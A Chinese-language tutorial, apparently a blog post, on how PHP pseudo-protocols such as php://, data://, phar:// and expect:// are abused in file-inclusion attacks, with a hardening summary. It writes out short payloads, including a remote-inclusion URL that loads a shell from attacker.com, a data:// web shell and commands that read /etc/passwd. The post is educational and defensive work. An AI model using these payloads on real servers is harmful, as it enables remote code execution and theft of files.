PHP伪协议详解:网络安全中的利用与防御

PHP伪协议详解:网络安全中的利用与防御

作为网络安全工程师,深入理解PHP伪协议的利用方式对渗透测试和漏洞防御至关重要。以下结合实战案例,逐条解析各协议用法及风险点(环境基于PHP 5.6+,部分协议需特定配置)。


1. file:// -- 本地文件访问

作用 :直接读取服务器本地文件。
语法file://[绝对路径]

php 复制代码
include('file:///etc/passwd');  // 读取Linux系统用户列表

安全利用

  • 敏感文件泄露 :在文件包含漏洞中获取/etc/passwd/proc/self/environ(环境变量)、网站配置文件(如config.php)。
  • 防御 :配置open_basedir限制文件访问范围。

2. http:///https:// -- 远程资源包含

作用 :加载远程URL内容。
语法http(s)://example.com/shell.txt
安全利用

  • 远程文件包含(RFI)

    php 复制代码
    include($_GET['file']);  // 参数?file=http://attacker.com/shell.txt

    攻击者托管恶意PHP脚本,服务器下载并执行。

  • 防御 :关闭allow_url_include(默认关闭)。


3. ftp:// -- FTP协议访问

作用 :通过FTP读取文件(需认证)。
语法ftp://user:pass@example.com/file
安全利用

  • SSRF攻击 :利用服务器发起FTP请求,探测内网服务(如ftp://192.168.1.1:21)。
  • 防御 :禁用ftp扩展或防火墙限制外连。

4. php:// -- I/O流操作 ⚠️ 高危!

核心子协议

  • php://input :读取原始POST数据

    php 复制代码
    // 参数:?file=php://input  
    // POST Body: <?php system('id'); ?>

    条件 :需开启allow_url_include=On

  • php://filter :文件内容编码/过滤

    php 复制代码
    include('php://filter/convert.base64-encode/resource=config.php');

    利用:绕过文件读取限制,获取源码Base64编码。

  • php://fd:访问文件描述符(需知fd编号)。


5. zlib:// -- 压缩流处理

作用 :读取压缩文件(如.gz)。
语法compress.zlib://file.gz
利用

  • 读取压缩后的日志文件(如access.log.gz),避免直接解析。

6. data:// -- 内嵌数据流 ⚠️ 高危!

作用 :直接在URL中嵌入数据。
语法

php 复制代码
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+');
// 等价于执行 <?php phpinfo(); ?>

条件allow_url_include=On
实战 :短指令执行(如data://text/plain,<?= system($_GET[1]);?>)。


7. glob:// -- 文件路径匹配

作用 :遍历目录(类似glob()函数)。
语法glob:///var/www/*.php
利用

  • 信息收集:列目录结构(需配合print_r等输出)。
php 复制代码
$it = new DirectoryIterator("glob:///var/www/*");
foreach($it as $f) { echo $f."\n"; }

8. phar:// -- 归档文件访问 ⚠️ 反序列化漏洞!

作用 :读取ZIP/PHAR等归档中的文件。
语法phar:///path/to/archive.zip/internal/file.php
高危漏洞

  • 反序列化利用 :构造恶意PHAR文件触发__destruct()__wakeup()

    php 复制代码
    // 生成恶意PHAR(需写权限)
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'data');
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($malicious_object); // 插入恶意对象
    $phar->stopBuffering();

    触发include('phar://exploit.phar');
    防御 :禁用phar扩展或过滤输入。


9. ssh2:// -- SSH2协议

作用 :通过SSH访问文件(需ssh2扩展)。
语法ssh2://user:pass@example.com:22/path/to/file
利用:SSRF场景下尝试连接内网SSH服务(较少见)。


10. rar:// -- RAR压缩包

作用 :读取RAR文件内容(需rar扩展)。
语法rar:///path.rar#file.txt
利用:结合文件上传漏洞,读取压缩包内敏感文件。


11. ogg:// -- 音频流

作用 :处理OGG音频(实际利用极少)。
语法ogg://sound.ogg


12. expect:// -- 交互式命令执行 ⚠️ 最高危!

作用 :直接执行系统命令(需expect扩展)。
语法expect://id

php 复制代码
file_get_contents('expect://cat /etc/passwd');

防御永远禁用expect扩展(默认不安装)。


防御策略总结

  1. 关键配置
    • allow_url_fopen=Off -- 禁用远程URL访问
    • allow_url_include=Off -- 禁用远程/伪协议包含
    • disable_functions=expect -- 禁用危险函数
  2. 过滤输入 :检查include/require参数是否包含://
  3. 最小权限:运行PHP的用户权限应限制(非root)。
  4. 扩展管理 :卸载不必要的扩展(expectssh2)。

实战案例

  • CTF文件包含题
    php://filter/convert.base64-encode/resource=index.php泄露源码。
  • 真实渗透
    上传图片马(ZIP重命名),通过phar://images/avatar.jpg/shell.php触发反序列化。

掌握这些协议的特性,可在渗透测试中快速识别漏洞,同时加固自身应用安全。建议在测试环境中验证上述案例,加深理解!

相关推荐
Yang96111 小时前
探索无线新视界:鼎讯信通DXMP系列频谱仪模块深度剖析
运维·网络
__log2 小时前
弱网环境下的“生命线“:从AI流式响应到大文件上传的稳定性
开发语言·人工智能·php
TlSfoward2 小时前
TLSFOWARD TLS指纹
开发语言·数据库·爬虫·搜索引擎·https·php
进阶的猪3 小时前
【无标题】vmware虚拟机无法勾选**将主机虚拟适配器连接到此网络** /没有网络(不显示网络图标)的解决方法
网络
CHANG_THE_WORLD4 小时前
6.多线程的TCP通信
java·网络·tcp/ip
AA陈超4 小时前
004 T02 - 俯视角摄像机系统 设计文档
网络·c++·ue5·虚幻引擎
Qlittleboy5 小时前
PHP的接口参数传递的过多,max_input_vars = 5000
开发语言·php
Sagittarius_A*5 小时前
CSRF 跨站请求伪造:伪造请求攻击、绕过手段与底层防御
安全·web安全·csrf·dvwa
liulilittle5 小时前
论双机热备:分布式
服务器·网络·分布式·通信·竞态
智灵鸟科技7 小时前
封闭网络怎么安全地接外部能力:三条通道穷举、威胁封堵矩阵与残余风险
网络·安全·矩阵